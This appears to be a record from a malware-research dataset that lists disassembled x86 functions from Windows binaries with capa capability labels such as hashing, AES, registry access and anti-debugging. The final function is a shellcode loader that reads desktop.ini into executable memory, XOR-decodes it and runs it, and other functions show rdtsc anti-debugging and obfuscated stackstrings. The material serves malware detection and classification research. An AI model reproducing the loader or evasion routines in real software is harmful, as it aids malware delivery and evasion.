joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b0ef2
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, 0x4c86ba
mov byte [ebp - 1], bl
cmp dword [0x50aff8], ebx
je 0x4b0f4e
cmp dword [0x50ae48], ebx
je 0x4b0f4e
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, 1
jbe 0x4b0f3a
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x3a8
push edi
push ecx
push 0x4c7d4e
call fcn.004ac34c
add esp, 0x10
mov dword [0x50d74c], ebx
lea edx, [ebp - 1]
xor cl, cl
call fcn.004b117e
inc dword [0x50d74c]
mov byte [ebp - 2], al
test al, al
jne 0x4b1029
mov ecx, 0x1f4
call fcn.004b0bc4
test al, al
je 0x4b0fe0
cmp byte [ebp - 1], 0
jne 0x4b0f8c
cmp dword [0x50d74c], 5
ja 0x4b0f97
inc ebx
cmp ebx, 0x14
jb 0x4b0f54
jmp 0x4b1074
cmp dword [0x50aff8], 0
je 0x4b1074
cmp dword [0x50ae48], 0
je 0x4b1074
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, 1
jbe 0x4b0fd6
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x3c4
jmp 0x4b1065
cmp dword [0x50aff8], 0
je 0x4b10c8
cmp dword [0x50ae48], 0
je 0x4b10c8
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, 1
jbe 0x4b101f
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x3bb
jmp 0x4b10b9
cmp dword [0x50aff8], 0
je 0x4b1074
cmp dword [0x50ae48], 0
je 0x4b1074
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, 1
jbe 0x4b1060
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x3b5
push edi
push ecx
push 0x4c7d4e
call fcn.004ac34c
add esp, 0x10
call fcn.004b0844
test al, al
jne 0x4b10cf
cmp dword [0x50aff8], 0
je 0x4b10c8
cmp dword [0x50ae48], 0
je 0x4b10c8
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, 1
jbe 0x4b10b4
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x3d0
push edi
push ecx
push 0x4c7d4e
call fcn.004ac34c
add esp, 0x10
xor al, al
jmp 0x4b1179
cmp byte [ebp - 2], 0
je 0x4b111b
cmp dword [0x50aff8], 0
je 0x4b1177
cmp dword [0x50ae48], 0
je 0x4b1177
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, 1
jbe 0x4b1114
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x3d6
jmp 0x4b1168
cmp dword [0x50aff8], 0
mov dword [0x511870], 1
mov byte [0x50e72d], 1
je 0x4b1177
cmp dword [0x50ae48], 0
je 0x4b1177
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, 1
jbe 0x4b1163
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x3e4
push edi
push ecx
push 0x4c7d4e
call fcn.004ac34c
add esp, 0x10
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4b19b4
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
push edi
xor edi, edi
inc ebx
mov dword [ebp - 4], edi
cmp dword [0x50aff8], edi
je 0x4b1a13
cmp dword [0x50ae48], edi
je 0x4b1a13
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, ebx
jbe 0x4b19fb
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x4ca
push 0x4c86ec
push ecx
push 0x4c7d4e
call fcn.004ac34c
add esp, 0x10
push 6
pop eax
mov dword [ebp - 0x10], edi
mov esi, edi
push 4
mov byte [ebp - 0xf], al
pop eax
mov dword [ebp - 0xc], edi
mov byte [0x50d756], 0xc3
mov byte [0x50d758], 0xc3
mov byte [ebp - 0x10], 0x80
mov byte [ebp - 0xd], 0xa
mov word [ebp - 0xa], ax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
xor cl, cl
push eax
lea eax, [ebp - 4]
push eax
call fcn.004b1bf0
push 4
test al, al
pop eax
je 0x4b1a5f
cmp dword [ebp - 8], eax
je 0x4b1ab4
inc esi
cmp esi, 3
jb 0x4b1a3e
cmp dword [0x50aff8], edi
je 0x4b1aad
cmp dword [0x50ae48], edi
je 0x4b1aad
mov ecx, dword [0x50aff4]
rdtsc
sub eax, ecx
add ecx, eax
mov dword [0x50aff4], ecx
mov ecx, dword [0x50b000]
cmp ecx, ebx
jbe 0x4b1a95
xor edx, edx
div ecx
push 0x4ef
push 0x4c86ec
push eax
push 0x4c7d4e
call fcn.004ac34c
add esp, 0x10
xor al, al
pop edi
pop esi
pop ebx
leave
ret
mov al, byte [ebp - 2]
lea edx, [ebp - 0x10]
mov byte [0x50d755], al
xor cl, cl
mov al, byte [ebp - 1]
push 0x7f
mov byte [0x50d757], al
pop eax
push edi
mov dword [ebp - 0x10], edi
push edi
mov byte [0x50d754], al
mov dword [ebp - 0xc], edi
mov byte [ebp - 0xf], 5
mov word [ebp - 0xe], ax
call fcn.004b23c4
test al, al
jne 0x4b1b2e
cmp dword [0x50aff8], edi
je 0x4b1aad
cmp dword [0x50ae48], edi
je 0x4b1aad
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, ebx
jbe 0x4b1b1e
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x504
push 0x4c86ec
push ecx
jmp 0x4b1aa0
mov cl, byte [0x50d754]
lea edx, [ebp - 0x10]
push 6
pop eax
push edi
mov dword [ebp - 0x10], edi
push edi
mov dword [ebp - 0xc], edi
mov byte [ebp - 0xf], 3
mov word [ebp - 0xe], ax
mov dword [ebp - 8], 4
call fcn.004b23c4
test al, al
jne 0x4b1b9d
cmp dword [0x50aff8], edi
je 0x4b1aad
cmp dword [0x50ae48], edi
je 0x4b1aad
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, ebx
jbe 0x4b1b96
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x519
jmp 0x4b1b23
cmp dword [0x50aff8], edi
je 0x4b1be9
cmp dword [0x50ae48], edi
je 0x4b1be9
mov esi, dword [0x50b000]
rdtsc
mov ecx, eax
mov eax, dword [0x50aff4]
sub ecx, eax
add eax, ecx
mov dword [0x50aff4], eax
cmp esi, ebx
jbe 0x4b1bd1
mov eax, ecx
xor edx, edx
div esi
mov ecx, eax
push 0x51d
push 0x4c86ec
push ecx
push 0x4c7d4e
call fcn.004ac34c
add esp, 0x10
mov al, bl
jmp 0x4b1aaf
Function at 0x4b5890
Capabilities:
Hash data using sha1

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x50ae70], 0
push ebx
push esi
mov esi, ecx
jne 0x4b5912
push eax
push ebx
push ecx
push edx
xor eax, eax
cpuid
xor eax, eax
xor ebx, 0x756e6547
sete al
xor ebx, ebx
xor ecx, 0x6c65746e
sete bl
and eax, ebx
xor ecx, ecx
xor edx, 0x49656e69
sete cl
and eax, ecx
mov dword [ebp - 4], eax
mov eax, 1
cpuid
xor ecx, ecx
xor edx, edx
mov ebx, 0xff0
and ebx, eax
mov dword [ebp - 8], ebx
pop edx
pop ecx
pop ebx
pop eax
cmp dword [ebp - 4], 0
mov ecx, 1
je 0x4b5906
cmp dword [ebp - 8], 0x660
sbb eax, eax
not eax
and ecx, eax
mov eax, dword [ecx*4 + 0x4d3aa8]
mov dword [0x50ae70], eax
mov dword [esi + 0x54], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x40], 0x67452301
mov dword [esi + 0x44], 0xefcdab89
mov dword [esi + 0x48], 0x98badcfe
mov dword [esi + 0x4c], 0x10325476
mov dword [esi + 0x50], 0xc3d2e1f0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b8060
Capabilities:
Hash data using sha512

Disassembly:
mov edi, edi
push esi
push edi
xor eax, eax
lea edi, [ecx + 0x98]
push 0x10
mov dword [ecx + 0x10], eax
mov esi, 0x4e2d48
mov dword [ecx + 0x14], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx], eax
pop ecx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
ret

Function at 0x4b8088
Capabilities:
Hash data using sha384

Disassembly:
mov edi, edi
push esi
push edi
xor eax, eax
lea edi, [ecx + 0x98]
push 0x10
mov dword [ecx + 0x10], eax
mov esi, 0x4e2cc8
mov dword [ecx + 0x14], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx], eax
pop ecx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
ret

Function at 0x4b818a
Capabilities:
Hash data using sha512

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
and dword [esp + 4], 0
push ebx
mov ebx, ecx
mov dword [esp + 0xc], edx
push esi
push edi
mov eax, dword [ebx]
mov byte [eax + ebx + 0x18], 0x80
inc eax
cmp eax, 0x70
jbe 0x4b81db
mov edx, 0x80
lea ecx, [ebx + 0x18]
sub edx, eax
add ecx, eax
call fcn.004c4920
lea eax, [esp + 0x10]
push eax
push 0x80
lea edx, [ebx + 0x18]
lea ecx, [ebx + 0x98]
call fcn.004bf10a
xor eax, eax
mov edx, 0x80
lea ecx, [ebx + 0x18]
sub edx, eax
add ecx, eax
call fcn.004c4920
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebx + 0x14]
mov esi, dword [ebx + 0xc]
mov eax, esi
mov edi, dword [ebx + 8]
shld ecx, edx, 3
shr eax, 0x1d
shl edx, 3
add edx, eax
lea eax, [esp + 0x10]
bswap edx
adc ecx, 0
mov dword [ebx + 0x8c], edx
shld esi, edi, 3
bswap ecx
shl edi, 3
lea edx, [ebx + 0x18]
bswap edi
mov dword [ebx + 0x94], edi
lea edi, [ebx + 0x98]
push eax
mov dword [ebx + 0x88], ecx
mov ecx, edi
bswap esi
push 0x80
mov dword [ebx + 0x90], esi
call fcn.004bf10a
mov edx, dword [esp + 0x14]
mov esi, edi
push 8
pop edi
mov ecx, dword [esi]
lea esi, [esi + 8]
mov eax, dword [esi - 4]
bswap ecx
mov dword [edx + 4], ecx
bswap eax
mov dword [edx], eax
lea edx, [edx + 8]
sub edi, 1
jne 0x4b8253
mov edx, 0xd8
mov ecx, ebx
call fcn.004c4920
push 0x10
pop ecx
lea edi, [ebx + 0x98]
mov esi, 0x4e2d48
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c49d0
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebx
push ebp
push esi
push edi
sub esp, 8
mov eax, dword [edx]
mov ebx, dword [edx + 4]
mov ebp, dword [edx + 0xc]
mov edx, dword [edx + 8]
mov esi, dword [ecx + 0x1d0]
mov dword [esp + 4], esi
xor eax, dword [ecx]
xor ebx, dword [ecx + 4]
xor edx, dword [ecx + 8]
xor ebp, dword [ecx + 0xc]
lea ecx, [ecx + 0x10]
mov dword [esp], ecx
lea esp, [esp]
jmp 0x4c4a0b
push ebp
movzx ecx, al
mov ecx, dword [ecx*4 + 0x4dd000]
movzx esi, ah
shr eax, 0x10
mov ebp, dword [esi*4 + 0x4dd400]
movzx edi, ah
mov edi, dword [edi*4 + 0x4ddc00]
movzx eax, al
mov eax, dword [eax*4 + 0x4dd800]
movzx esi, bl
xor edi, dword [esi*4 + 0x4dd000]
movzx esi, bh
shr ebx, 0x10
xor ecx, dword [esi*4 + 0x4dd400]
movzx esi, bl
xor ebp, dword [esi*4 + 0x4dd800]
movzx ebx, bh
xor eax, dword [ebx*4 + 0x4ddc00]
pop ebx
movzx esi, dl
xor eax, dword [esi*4 + 0x4dd000]
movzx esi, dh
xor edi, dword [esi*4 + 0x4dd400]
shr edx, 0x10
movzx esi, dl
xor ecx, dword [esi*4 + 0x4dd800]
movzx edx, dh
xor ebp, dword [edx*4 + 0x4ddc00]
mov esi, dword [esp]
movzx edx, bl
xor ebp, dword [edx*4 + 0x4dd000]
movzx edx, bh
xor eax, dword [edx*4 + 0x4dd400]
shr ebx, 0x10
movzx edx, bl
xor edi, dword [edx*4 + 0x4dd800]
movzx ebx, bh
xor ecx, dword [ebx*4 + 0x4ddc00]
mov edx, dword [esi + 8]
xor edx, eax
mov eax, dword [esi]
xor eax, ecx
xor ebp, dword [esi + 0xc]
mov ebx, dword [esi + 4]
xor ebx, edi
add esi, 0x10
cmp esi, dword [esp + 4]
mov dword [esp], esi
jb 0x4c4a0b
push ebp
movzx ecx, al
movzx ecx, byte [ecx*4 + 0x4dd001]
movzx esi, ah
shr eax, 0x10
movzx ebp, byte [esi*4 + 0x4dd001]
movzx edi, ah
shl ebp, 8
movzx edi, byte [edi*4 + 0x4dd001]
movzx eax, al
shl edi, 0x18
movzx eax, byte [eax*4 + 0x4dd001]
shl eax, 0x10
movzx esi, bl
movzx esi, byte [esi*4 + 0x4dd001]
or edi, esi
movzx esi, bh
shr ebx, 0x10
movzx esi, byte [esi*4 + 0x4dd001]
shl esi, 8
or ecx, esi
movzx esi, bl
movzx esi, byte [esi*4 + 0x4dd001]
movzx ebx, bh
shl esi, 0x10
movzx ebx, byte [ebx*4 + 0x4dd001]
or ebp, esi
shl ebx, 0x18
or eax, ebx
movzx esi, dl
movzx esi, byte [esi*4 + 0x4dd001]
movzx ebx, dh
shr edx, 0x10
movzx ebx, byte [ebx*4 + 0x4dd001]
or eax, esi
shl ebx, 8
movzx esi, dl
movzx esi, byte [esi*4 + 0x4dd001]
or edi, ebx
pop ebx
movzx edx, dh
movzx edx, byte [edx*4 + 0x4dd001]
shl esi, 0x10
or ecx, esi
shl edx, 0x18
or ebp, edx
movzx esi, bl
movzx esi, byte [esi*4 + 0x4dd001]
movzx edx, bh
shr ebx, 0x10
movzx edx, byte [edx*4 + 0x4dd001]
or ebp, esi
shl edx, 8
or eax, edx
mov edx, dword [esp]
movzx esi, bl
movzx esi, byte [esi*4 + 0x4dd001]
movzx ebx, bh
movzx ebx, byte [ebx*4 + 0x4dd001]
shl esi, 0x10
shl ebx, 0x18
or edi, esi
mov esi, dword [esp + 0x1c]
or ecx, ebx
xor ecx, dword [edx]
xor edi, dword [edx + 4]
xor eax, dword [edx + 8]
xor ebp, dword [edx + 0xc]
mov dword [esi], ecx
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov dword [esi + 0xc], ebp
mov dword [esp - 8], esp
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4c4c10
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov edi, edi
push ebx
push ebp
push esi
push edi
sub esp, 8
mov eax, dword [edx]
mov ebx, dword [edx + 4]
mov ebp, dword [edx + 0xc]
mov edx, dword [edx + 8]
mov esi, dword [ecx + 0x1d4]
mov ecx, dword [ecx + 0x1d0]
mov dword [esp + 4], esi
xor eax, dword [ecx]
xor ebx, dword [ecx + 4]
xor edx, dword [ecx + 8]
xor ebp, dword [ecx + 0xc]
lea ecx, [ecx + 0x10]
mov dword [esp], ecx
lea esp, [esp]
lea esp, [esp]
nop
push ebp
movzx ecx, al
mov ecx, dword [ecx*4 + 0x4dc000]
movzx esi, ah
shr eax, 0x10
mov edi, dword [esi*4 + 0x4dc400]
movzx ebp, ah
mov ebp, dword [ebp*4 + 0x4dcc00]
movzx eax, al
mov eax, dword [eax*4 + 0x4dc800]
movzx esi, bl
xor edi, dword [esi*4 + 0x4dc000]
movzx esi, bh
shr ebx, 0x10
xor eax, dword [esi*4 + 0x4dc400]
movzx esi, bl
xor ebp, dword [esi*4 + 0x4dc800]
movzx ebx, bh
xor ecx, dword [ebx*4 + 0x4dcc00]
pop ebx
movzx esi, dl
xor eax, dword [esi*4 + 0x4dc000]
movzx esi, dh
xor ebp, dword [esi*4 + 0x4dc400]
shr edx, 0x10
movzx esi, dl
xor ecx, dword [esi*4 + 0x4dc800]
movzx edx, dh
xor edi, dword [edx*4 + 0x4dcc00]
mov esi, dword [esp]
movzx edx, bl
xor ebp, dword [edx*4 + 0x4dc000]
movzx edx, bh
xor ecx, dword [edx*4 + 0x4dc400]
shr ebx, 0x10
movzx edx, bl
xor edi, dword [edx*4 + 0x4dc800]
movzx ebx, bh
xor eax, dword [ebx*4 + 0x4dcc00]
mov edx, dword [esi + 8]
xor edx, eax
mov eax, dword [esi]
xor eax, ecx
xor ebp, dword [esi + 0xc]
mov ebx, dword [esi + 4]
xor ebx, edi
add esi, 0x10
cmp esi, dword [esp + 4]
mov dword [esp], esi
jb 0x4c4c54
push ebp
movzx ecx, al
movzx ecx, byte [ecx + 0x4de000]
movzx edi, ah
shr eax, 0x10
movzx edi, byte [edi + 0x4de000]
movzx esi, ah
shl edi, 8
movzx ebp, byte [esi + 0x4de000]
movzx eax, al
shl ebp, 0x18
movzx eax, byte [eax + 0x4de000]
shl eax, 0x10
movzx esi, bl
movzx esi, byte [esi + 0x4de000]
or edi, esi
movzx esi, bh
shr ebx, 0x10
movzx esi, byte [esi + 0x4de000]
shl esi, 8
or eax, esi
movzx esi, bl
movzx esi, byte [esi + 0x4de000]
movzx ebx, bh
shl esi, 0x10
movzx ebx, byte [ebx + 0x4de000]
or ebp, esi
shl ebx, 0x18
or ecx, ebx
movzx esi, dl
movzx esi, byte [esi + 0x4de000]
movzx ebx, dh
shr edx, 0x10
movzx ebx, byte [ebx + 0x4de000]
or eax, esi
shl ebx, 8
movzx esi, dl
movzx esi, byte [esi + 0x4de000]
or ebp, ebx
pop ebx
movzx edx, dh
movzx edx, byte [edx + 0x4de000]
shl esi, 0x10
or ecx, esi
shl edx, 0x18
or edi, edx
movzx esi, bl
movzx esi, byte [esi + 0x4de000]
movzx edx, bh
shr ebx, 0x10
movzx edx, byte [edx + 0x4de000]
or ebp, esi
shl edx, 8
or ecx, edx
mov edx, dword [esp]
movzx esi, bl
movzx esi, byte [esi + 0x4de000]
movzx ebx, bh
movzx ebx, byte [ebx + 0x4de000]
shl esi, 0x10
shl ebx, 0x18
or edi, esi
mov esi, dword [esp + 0x1c]
or eax, ebx
xor ecx, dword [edx]
xor edi, dword [edx + 4]
xor eax, dword [edx + 8]
xor ebp, dword [edx + 0xc]
mov dword [esi], ecx
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov dword [esi + 0xc], ebp
mov dword [esp - 8], esp
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push ebx
xor ebx, ebx
xor eax, eax
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 0x60]
mov word [esp + 0x48], ax
lea eax, [esp + 0x18]
push eax
push ebx
push ebx
push ebx
push 1
xor ecx, ecx
push ebx
mov word [esp + 0x62], cx
mov ecx, dword [esp + 0x7c]
push ebx
push ecx
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401094
xor al, al
pop ebx
add esp, 0x54
ret
cmp byte [esp + 0x64], bl
je 0x4010a7
mov eax, dword [esp + 4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 4]
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
pop esi
mov al, 1
pop ebx
add esp, 0x54
ret

Function at 0x4013d0
Capabilities:
Delete registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push esi
lea eax, [esp + 4]
push eax
push 0x20006
push 0
push ecx
push edx
or esi, 0xffffffff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401416
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 4]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x40140b
xor esi, esi
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ecx
ret
Function at 0x401420
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push esi
lea eax, [esp + 4]
push eax
push 0x20019
push 0
push ecx
or esi, 0xffffffff
push edx
mov dword [esp + 0x20], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401532
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 4]
push ebx
mov ebx, dword [esp + 0x24]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push eax
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push ecx
call ebp
test eax, eax
jne 0x40151c
cmp dword [esp + 0x10], 4
jne 0x4014d1
mov ecx, dword [esp + 0xc]
push esi
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push ecx
call ebp
test eax, eax
jne 0x40151c
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
push edx
push 0x40e1a0
push eax
call fcn.0040185d
mov ecx, dword [esp + 0x18]
add esp, 0xc
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
pop ebp
pop ebx
pop esi
add esp, 0x10
ret
mov ecx, dword [esi]
push edi
push ecx
call fcn.00401929
mov edi, eax
add esp, 4
test edi, edi
je 0x401512
mov eax, dword [esp + 0x10]
push esi
push edi
lea edx, [esp + 0x1c]
push edx
push 0
push ebx
push eax
call ebp
test eax, eax
jne 0x401512
mov edx, dword [esp + 0x34]
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401500
mov dword [esp + 0x18], 0
push edi
call fcn.00401df4
add esp, 4
pop edi
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
pop ebp
pop ebx
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401a7a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp ecx, dword [0x411010]
jne 0x401a84
repz ret
jmp 0x4047f4
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00403fb2
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00403f67
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00403fb2
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00403f67
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10